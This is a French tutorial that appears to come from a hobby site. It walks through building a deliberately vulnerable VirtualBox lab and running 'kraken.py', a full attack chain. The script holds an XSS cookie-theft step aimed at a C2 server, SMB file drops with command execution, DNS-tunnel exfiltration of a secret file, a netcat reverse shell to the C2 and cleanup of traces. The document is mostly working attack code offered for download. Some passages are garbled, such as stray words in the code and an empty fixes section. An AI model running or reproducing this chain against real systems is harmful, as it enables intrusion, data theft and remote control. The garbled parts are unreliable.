Kraken’s Embrace v2.0 – Pentest Éthique

1. Prérequis

Matériel & Logiciels

• PC : 8 Go RAM, Linux (Ubuntu 22.04/Kali 2025). Windows/Mac OK avec VM.
• Virtualisation : VirtualBox (virtualbox.org).
• VMs : Créez 4 VMs (voir Setup) :
  • Ubuntu Server (ubuntu.com) pour Web, Workstation.
  • Windows Server 2019 (évaluation, microsoft.com) pour DC.
  • Kali Linux (kali.org) pour l’attaque.
• Outils :
  • Python 3.12 : sudo apt install python3 python3-pip.
  • Nmap : sudo apt install nmap.
  • Metasploit : sudo apt install metasploit-framework.
  • Wireshark : sudo apt install wireshark.
  • Burp Suite Community : portswigger.net.
  • Tor : sudo apt install tor.
  • Git : sudo apt install git.
  • Nano/VS Code : Pour éditer.
• Stockage : 20 Go.
• Réseau : Internet pour téléchargements, lab offline ensuite.

Connaissances

Réseau : Ports (80=HTTP, 445=SMB). Lab sur 192.168.56.0/24.
Python : Variables, fonctions, imports.
Pentest : Reconnaissance, exploitation, post-exploitation. Voir OWASP Top 10.
Éthique : UNIQUEMENT dans votre lab. Toute action hors lab est illégale (Art. 323-1 à 323-7 CP).

2. Setup : Construisez votre Lab

Apache, on va monter un lab *AbyssCorp* avec 4 VMs sur VOTRE PC pour simuler un réseau vulnérable. Ces configs sont non sécurisées exprès pour montrer les dangers. Suis le plan :

1. Créez les VMs :
   • AbyssCorp-Web (Ubuntu Server, 192.168.56.101) :
     • Apache : sudo apt install apache2.
     • Formulaire XSS vulnérable :

       echo 'Input: " . $_POST["username"] . "
       "; ?>' > /var/www/html/login.php
                                               

   • AbyssCorp-DC (Windows Server 2019, 192.168.56.102) :
     • SMB activé (par défaut).
     • Utilisateur faible : net user admin password123 /add.
     • Dossiers : mkdir C:\Users\Public, mkdir C:\Secret.
   • AbyssCorp-Workstation (Ubuntu Server, 192.168.56.103) :
     • SSH : sudo apt install openssh-server.
     • Utilisateur faible : useradd -m -p $(openssl passwd user123) user.
   • Kali-Attacker (Kali Linux, 192.168.56.104) :
     • Installez : sudo apt install -y python3 python3-pip nmap metasploit-framework wireshark tor git, pip install requests smbclient dnspython.
2. Réseau :
   • VirtualBox : NAT Network.
   • IPs manuelles :
     • Ubuntu : /etc/netplan/01-netcfg.yaml, sudo netplan apply.
     • Windows : Panneau de configuration > Réseau > IPv4.
   • Testez : ping 192.168.56.101.
3. Clonez le repo :

   git clone https://github.com/pctamalou/krakens-embrace-v2.git
   cd krakens-embrace-v2
   pip install -r requirements.txt
                           

   (Lien fictif pour le tuto. Contacte admin@pctamalou.fr pour le vrai repo.)

4. Dossier :

   mkdir ~/kraken-lab
   cp -r krakens-embrace-v2/* ~/kraken-lab
   cd ~/kraken-lab
                           

Conseils :

• Snapshots : VBoxManage snapshot "VM-Name" take Clean-State.
• Testez Apache, SMB, SSH avant le payload.
• Problème ? pctamalou.fr/forum ou admin@pctamalou.fr.

3. Scripts

Apache, ces scripts sont pour VOTRE lab local. Téléchargez-les et exécutez-les sur votre Kali Linux VM.

Payload Principal (kraken.py)

Lance le Kraken pour exploiter des failles XSS, SMB, et DNS. Exécute : python3 kraken.py.

#!/usr/bin/env python3
# Kraken's Embrace v2.0 - Ethical Pentest Payload
# Designed by Platon-Y for pctamalou.fr
# Objectif : Exécuter un pentest RÉEL et NON SÉCURISÉ pour montrer les dangers des failles
# Usage : UNIQUEMENT dans un lab contrôlé (VMs construites par l’utilisateur)
# Dangers : XSS vole sessions, SMB exécute du code, DNS exfiltre des données, shell persistant

import requests        # Pour les requêtes HTTP (ex. : exploiter XSS)
import smbclient      # Pour accéder aux partages SMB
import dns.resolver   # Pour le DNS tunneling
import base64         # Pour encoder en base64
import os             # Pour gérer les fichiers locaux
import time           # Pour des pauses
import logging        # Pour logger
import configparser   # Pour lire les configs
import subprocess     # Pour Nmap et commandes système
from itertools import chain  # Pour itérer sur les étapes
import socket         # Pour vérifier les connexions réseau
import urllib.parse   # Pour encoder les données exfiltrées

# Configurer le logging pour tracer toutes les actions
logging.basicConfig(
    filename='kraken.log',
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logging.info("=== Lancement de Kraken’s Embrace v2.0 ===")

# Charger la configuration
config = configparser.ConfigParser()
try:
    if not config.read('config.ini'):
        raise FileNotFoundError("config.ini manquant")
    TARGET_WEB = config['TARGETS']['web_server']  # Ex. : http://192.168.56.101
    TARGET_SMB = config['TARGETS']['smb_server']  # Ex. : 192.168.56.102
    C2_SERVER = config['TARGETS']['c2_server']    # Ex. : 192.168.56.1
    C2_PORT = int(config['TARGETS']['c2_port'])   # Ex. : 4444
    SMB_USER = config['CREDENTIALS']['smb_user']  # Ex. : admin
    SMB_PASS = config['CREDENTIALS']['smb_pass']  # Ex. : password123
    logging.info("Configuration chargée : %s, %s, %s:%d", TARGET_WEB, TARGET_SMB, C2_SERVER, C2_PORT)
except (FileNotFoundError, KeyError, ValueError) as e:
    logging.error("Erreur configuration : %s", e)
    print(f"[!] Erreur : config.ini manquant ou invalide. Créez-le avec TARGETS et CREDENTIALS.")
    exit(1)

# Vérifier l’environnement
def check_environment():
    """Vérifie les outils et librairies nécessaires."""
    logging.info("Vérification de l’environnement")
    print("[*] Vérification des prérequis...")
    checks = [
        ("Librairies Python", lambda: all(__import__(lib) for lib in ['requests', 'smbclient', 'dns.resolver'])),
        ("Nmap", lambda: subprocess.run(["nmap", "--version"], capture_output=True).returncode == 0),
        ("VirtualBox", lambda: subprocess.run(["VBoxManage", "--version"], capture_output=True).returncode == 0),
        ("C2 Server", lambda: check_c2_connection())
    ]
    for check_name, check_func in checks:
        try:
            if check_func():
                logging.info("%s OK", check_name)
                print(f"[✓] {check_name} OK")
            else:
                logging.warning("%s manquant", check_name)
                print(f"[!] {check_name} manquant. Installez-le (ex. : sudo apt install nmap).")
                return False
        except Exception as e:
            logging.error("Erreur vérification %s : %s", check_name, e)
            print(f"[!] Erreur {check_name} : {e}. Contactez admin@pctamalou.fr")
            return False
    logging.info("Environnement validé")
    print("[*] Environnement prêt !")
    return True

# Vérifier la connexion au serveur C2
def check_c2_connection():
    """Vérifie si le serveur C2 est accessible."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((C2_SERVER, C2_PORT))
        sock.close()
        return True
    except Exception as e:
        logging.error("Erreur C2 : %s", e)
        print(f"[!] Erreur : Impossible de se connecter au C2 {C2_SERVER}:{C2_PORT}. Vérifiez qu'il est en écoute.")
        return False

# Étape 1 : Reconnaissance
def recon():
    """Scanne le réseau avec Nmap pour identifier les cibles vulnérables."""
    logging.info("Début de la reconnaissance")
    print("[*] Scan réseau avec Nmap...")
    try:
        # Scan avancé avec détection de vulnérabilités SMB (ex. : EternalBlue)
        result = subprocess.run(
            ["nmap", "-sS", "-p-", "--script", "smb-vuln-ms17-010", "192.168.56.0/24", "-oN", "scan.txt"],
            capture_output=True, text=True, timeout=300
        )
        if result.returncode == 0:
            logging.info("Scan Nmap réussi. Résultats dans scan.txt")
            print("[+] Scan réussi ! Résultats dans scan.txt")
            with open("scan.txt", "r") as f:
                scan_output = f.read()
                if "VULNERABLE" in scan_output:
                    logging.info("Vulnérabilité SMB détectée (EternalBlue)")
                    print("[+] Vulnérabilité SMB détectée (EternalBlue) ! DANGER : Exploitation possible.")
                if TARGET_WEB.split("//")[-1] in scan_output and TARGET_SMB in scan_output:
                    logging.info("Cibles %s et %s détectées", TARGET_WEB, TARGET_SMB)
                    print("[+] Cibles détectées : %s, %s" % (TARGET_WEB, TARGET_SMB))
                    return True
                else:
                    logging.warning("Cibles non détectées dans le scan")
                    print("[!] Cibles non détectées. Vérifiez scan.txt.")
                    return False
        else:
            logging.error("Échec Nmap : %s", result.stderr)
            print("[!] Échec Nmap : %s" % result.stderr)
            return False
    except subprocess.TimeoutExpired:
        logging.error("Nmap a dépassé le temps limite")
        print("[!] Erreur : Nmap a dépassé le temps limite.")
        return False
    except Exception as e:
        logging.error("Erreur reconnaissance : %s", e)
        print(f"[!] Erreur reconnaissance : {e}. Vérifiez votre réseau.")
 estudiant        return False

# Étape 2 : Infiltration via XSS
def infiltrate():
    """Exploite une faille XSS persistante pour voler des données réelles."""
    logging.info("Début infiltration XSS")
    print("[*] Tentative d’infiltration via XSS...")
    # Payload XSS qui vole les cookies et les envoie au serveur C2
    payload = f""
    try:
        r = requests.post(f"{TARGET_WEB}/login", data={"username": payload}, timeout=5)
        if r.status_code == 200:
            r_check = requests.get(f"{TARGET_WEB}/login", timeout=5)
            if payload in r_check.text:
                logging.info("XSS persistante injectée")
                print("[+] XSS injectée ! DANGER : Cette faille vole les cookies et les envoie au C2.")
                return True
            else:
                logging.warning("XSS non persistante")
                print("[!] XSS non persistante. Vérifiez la vulnérabilité.")
                return False
        else:
            logging.warning("Échec XSS : code %s", r.status_code)
            print(f"[!] Échec XSS (code {r.status_code}). Vérifiez {TARGET_WEB}/login.")
            return False
    except requests.RequestException as e:
        logging.error("Erreur XSS : %s", e)
        print(f"[!] Erreur XSS : {e}. Assurez-vous que {TARGET_WEB} est accessible.")
        return False

# Étape 3 : Propagation via SMB
def propagate():
    """Écrit un script malveillant sur un partage SMB et exécute une commande."""
    logging.info("Début propagation SMB")
    print("[*] Propagation via SMB...")
    try:
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        # Écrire un script batch qui exécute une commande (ex. : ouvre calc.exe)
        malicious_script = r"\\{}\\C$\\Users\\Public\\kraken.bat".format(TARGET_SMB)
        script_content = "calc.exe\n"
        with smbclient.open_file(malicious_script, "w") as f:
            f.write(script_content)
        logging.info("Script %s déposé", malicious_script)
        print(f"[+] Script {malicious_script} déposé. DANGER : SMB faible permet l'exécution de code !")
        # Exécuter le script via SMB (simule PsExec)
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "put kraken.bat"])
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "cmd /c C:\\Users\\Public\\kraken.bat"])
        logging.info("Commande exécutée via SMB")
        print("[+] Commande exécutée via SMB ! DANGER : Accès total au système.")
        return True
    except Exception as e:
        logging.error("Erreur SMB : %s", e)
        print(f"[!] Erreur SMB : {e}. Vérifiez {TARGET_SMB} et les creds.")
        return False

# Étape 4 : Exfiltration via DNS
def exfiltrate():
    """Exfiltre des données réelles via DNS tunneling vers le C2."""
    logging.info("Début exfiltration DNS")
    print("[*] Exfiltration via DNS...")
    try:
        # Récupérer un fichier sensible depuis le partage SMB
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        sensitive_file = r"\\{}\\C$\\Secret\\flag.txt".format(TARGET_SMB)
        with smbclient.open_file(sensitive_file, "r") as f:
            data = f.read()
        logging.info("Données sensibles récupérées : %s", data)
        print("[+] Données sensibles récupérées : %s" % data)
        # Exfiltrer via DNS
        max_chunk = 50
        encoded = base64.b64encode(data.encode()).decode()
        chunks = [encoded[i:i+max_chunk] for i in range(0, len(encoded), max_chunk)]
        for i, chunk in enumerate(chunks):
            domain = f"{chunk}.{i}.exfil.kraken.local"
            dns.resolver.resolve(domain, "A")
            logging.info("Fragment %d/%d exfiltré via %s", i+1, len(chunks), domain)
            print(f"[+] Fragment {i+1}/{len(chunks)} exfiltré. DANGER : Fuite réelle de données !")
            time.sleep(0.5)
        logging.info("Exfiltration DNS réussie")
        print("[+] Exfiltration DNS terminée.")
        return True
    except dns.resolver.NXDOMAIN:
        logging.error("Erreur DNS : Domaine non résolu")
        print("[!] Erreur DNS : Domaine non résolu. Configurez un DNS sur %s." % C2_SERVER)
        return False
    except Exception as e:
        logging.error("Erreur DNS : %s", e)
        print(f"[!] Erreur DNS : {e}. Vérifiez la configuration DNS.")
        return False

# Étape 5 : Escalade de privilèges via SMB
def escalate():
    """Exploite SMB pour obtenir un shell via PsExec."""
    logging.info("Début escalade de privilèges")
    print("[*] Escalade de privilèges via SMB...")
    try:
        # Générer un script PsExec pour ouvrir un shell
        shell_script = r"\\{}\\C$\\Users\\Public\\shell.bat".format(TARGET_SMB)
        shell_content = f"netcat {C2_SERVER} {C2_PORT} -e cmd.exe\n"
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        with smbclient.open_file(shell_script, "w") as f:
            f.write(shell_content)
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "put shell.bat"])
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "cmd /c C:\\Users\\Public\\shell.bat"])
        logging.info("Shell ouvert via SMB")
        print("[+] Shell ouvert via SMB ! DANGER : Accès persistant au système.")
        return True
    except Exception as e:
        logging.error("Erreur escalade : %s", e)
        print(f"[!] Erreur escalade : {e}. Vérifiez les creds et le C2.")
        return False

# Étape 6 : Narration psychologique
def leave_manifesto():
    """Dépose un manifeste avec alertes sur les dangers et correctifs."""
    logging.info("Début dépôt du manifeste")
    print("[*] Dépôt du manifeste Kraken...")
    manifesto = """
Le Kraken ne détruit pas, il enseigne.
DANGERS DÉTECTÉS :
- XSS sur {web} : Sessions volées, données exfiltrées. PATCH : WAF (ModSecurity), filtrage des inputs.
- SMB sur {smb} : Exécution de code, shell persistant. PATCH : Mots de passe forts, MFA, désactiver SMBv1.
- DNS non monitoré : Exfiltration furtive. PATCH : Suricata, filtrage DNS.
Cherchez KRAKEN{{3th1c4l_H4ck1ng_42}} dans C:\\Secret\\flag.txt.
Patch maintenant, ou le Kraken reviendra.
- Platon-Y, Nomade Éthique (pctamalou.fr)
""".format(web=TARGET_WEB, smb=TARGET_SMB)
    try:
        with open("/tmp/kraken_manifesto.txt", "w") as f:
            f.write(manifesto)
        logging.info("Manifeste local : /tmp/kraken_manifesto.txt")
        print("[+] Manifeste local : /tmp/kraken_manifesto.txt")
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        with smbclient.open_file(r"\\{}\\C$\\Users\\Public\\manifesto.txt".format(TARGET_SMB), "w") as f:
            f.write(manifesto)
        logging.info("Manifeste SMB : C:\\Users\\Public\\manifesto.txt")
        print("[+] Manifeste SMB : C:\\Users\\Public\\manifesto.txt")
        return True
    except Exception as e:
        logging.error("Erreur manifeste : %s", e)
        print(f"[!] Erreur manifeste : {e}. Manifeste local créé, SMB peut avoir échoué.")
        return False

# Étape 7 : Nettoyage
def cleanup():
    """Supprime toutes les traces."""
    logging.info("Début nettoyage")
    print("[*] Nettoyage des traces...")
    try:
        local_files = ["/tmp/kraken_manifesto.txt", "scan.txt"]
        for file in filter(os.path.exists, local_files):
            os.remove(file)
            logging.info("Fichier local %s supprimé", file)
            print(f"[+] Fichier {file} supprimé.")
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        smb_files = [
            r"\\{}\\C$\\Users\\Public\\kraken.bat".format(TARGET_SMB),
            r"\\{}\\C$\\Users\\Public\\shell.bat".format(TARGET_SMB),
            r"\\{}\\C$\\Users\\Public\\manifesto.txt".format(TARGET_SMB)
        ]
        for file in smb_files:
            try:
                smbclient.remove(file)
                logging.info("Fichier SMB %s supprimé", file)
                print(f"[+] Fichier SMB {file} supprimé.")
            except FileNotFoundError:
                pass
        logging.info("Nettoyage terminé")
        print("[+] Nettoyage terminé. Éthique respectée.")
        return True
    except Exception as e:
        logging.error("Erreur nettoyage : %s", e)
        print(f"[!] Erreur nettoyage : {e}. Vérifiez les permissions.")
        return False

# Générateur d’étapes
def pentest_steps():
    """Génère les étapes du pentest."""
    steps = [
        ("Reconnaissance", recon),
        ("Infiltration", infiltrate),
        ("Propagation", propagate),
        ("Exfiltration", exfiltrate),
        ("Escalade", escalate),
        ("Narration", leave_manifesto),
        ("Nettoyage", cleanup)
    ]
    for step_name, step_func in chain(steps):
        yield step_name, step_func

# Fonction principale
def main():
    """Exécute le pentest."""
    print("=== Kraken’s Embrace v2.0 - Pentest Éthique ===")
    print("[!] ATTENTION : Ce script exploite des failles RÉELLES et NON SÉCURISÉES.")
    print("[!] DANGER : Hors lab, il peut voler des données, exécuter du code, et ouvrir un shell.")
    print("[!] Usage UNIQUEMENT dans un lab contrôlé. Toute action hors lab est ILLÉGALE (Art. 323-1 à 323-7 CP).")
    logging.info("Démarrage du pentest")
    if not check_environment():
        logging.error("Environnement non prêt")
        print("[!] Environnement non prêt. Consultez le guide sur pctamalou.fr.")
        exit(1)
    time.sleep(2)
    for step_name, step_func in pentest_steps():
        logging.info("Exécution de %s", step_name)
        print(f"[*] Étape : {step_name}...")
        if not step_func():
            logging.warning("%s échoué", step_name)
            print(f"[-] {step_name} échoué. Consultez kraken.log.")
            if step_name != "Nettoyage":
                continue
            break
    logging.info("Pentest terminé")
    print("[*] Pentest terminé ! Rédigez votre rapport.")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        logging.info("Interrompu par l’utilisateur")
        print("[!] Interrompu. Nettoyage en cours...")
        cleanup()
    except Exception as e:
        logging.error("Erreur critique : %s", e)
        print(f"[!] Erreur critique : {e}. Consultez kraken.log.")
        cleanup()
                

Fichier de Configuration (config.ini)

Définit les cibles et creds pour votre lab local.

[TARGETS]
web_server = http://192.168.56.101
smb_server = 192.168.56.102
c2_server = 192.168.56.1
c2_port = 4444

[CREDENTIALS]
smb_user = admin
smb_pass = password123
                

Script de Nettoyage (cleanup.sh)

Réinitialise votre lab local.

#!/bin/bash
# Efface les fichiers temporaires
rm -f /tmp/kraken_* ~/kraken-lab/kraken.log ~/kraken-lab/scan.txt
# Réinitialise les VMs
for vm in "AbyssCorp-Web" "AbyssCorp-DC" "AbyssCorp-Workstation" "Kali-Attacker"; do
    if VBoxManage snapshot "$vm" showvminfo "Clean-State" >/dev/null 2>&1; then
        VBoxManage snapshot "$vm" restore "Clean-State"
        echo "[+] VM $vm réinitialisée"
    else
        echo "[!] Snapshot Clean-State manquant pour $vm"
    fi
done
                

4. Challenge : Déployez le Kraken

Apache, lâche le Kraken dans un pentest réel en 6 étapes sur VOTRE lab local ! Traque le flag KRAKEN{3th1c4l_H4ck1ng_42} dans \\192.168.56.102\C$\Secret\flag.txt.

Étapes

1. Reconnaissance :

   Scannez : nmap -sS -p- 192.168.56.0/24 -oN scan.txt.

   Exercice : Listez les ports sur 192.168.56.101. Danger : ports ouverts = cibles faciles.

   Avancé : nmap --script vuln.

2. Infiltration (XSS) :

   Exécutez : python3 kraken.py. Modifiez infiltrate() pour un autre payload.

   Exercice : Vérifiez l’injection avec Burp Suite. Danger : XSS peut voler des cookies.

   Avancé : Metasploit (exploit/multi/http/generic_xss).

3. Propagation (SMB) :

   Vérifiez \\192.168.56.102\C$\Users\Public\kraken.txt. Trouvez le flag.

   Exercice : smbclient //192.168.56.102/C$ -U admin%password123. Danger : creds faibles = accès total.

   Avancé : Metasploit (auxiliary/scanner/smb/smb_login).

4. Exfiltration (DNS) :

   Wireshark, filtrez dns. Modifiez exfiltrate().

   Exercice : Capturez les requêtes DNS. Danger : exfiltration invisible sans monitoring.

   Avancé : Configurez dnsmasq on 192.168.56.1.

5. Narration :

   Vérifiez /tmp/kraken_manifesto.txt. Ajoutez une citation.

   Exercice : Déposez un manifeste via SSH (ssh user@192.168.56.103, “user123”).

6. Nettoyage :

   cleanup() ou bash cleanup governos.sh.

   Exercice : Vérifiez la suppression. Danger : traces laissées = détection.

Correctifs

5. Checklist

• Configurer 4 VMs
• Installer outils
• Cloner repo
• Exécuter kraken.py
• Trouver flag CTF
• Rédiger rapport

6. Conseils

• Screenshots : scrot ou Snipping Tool.
• Restez dans vos VMs. Hors lab = illégal.
• Testez hydra pour brute-force SMB/SSH.
• Cherchez /var/www/html/kraken_lore.txt sur 192.168.56.101.
• Lisez la légende : pctamalou.fr/special/kraken-lore/.

7. Liens Utiles

Liens pour monter votre lab et approfondir.

• Kraken Lore – La légende mystique
• VirtualBox – Logiciel de virtualisation
• Ubuntu Server – ISO pour VMs
• Windows Server 2019 – Évaluation
• Kali Linux – Machine d’attaque
• Burp Suite – Outil d’interception

8. Téléchargements

Fichiers pour votre lab local. Téléchargez et utilisez sur VOTRE PC.

• kraken.py – Payload principal
• config.ini – Configuration
• cleanup.sh – Nettoyage
• rapport_template.docx – Modèle de rapport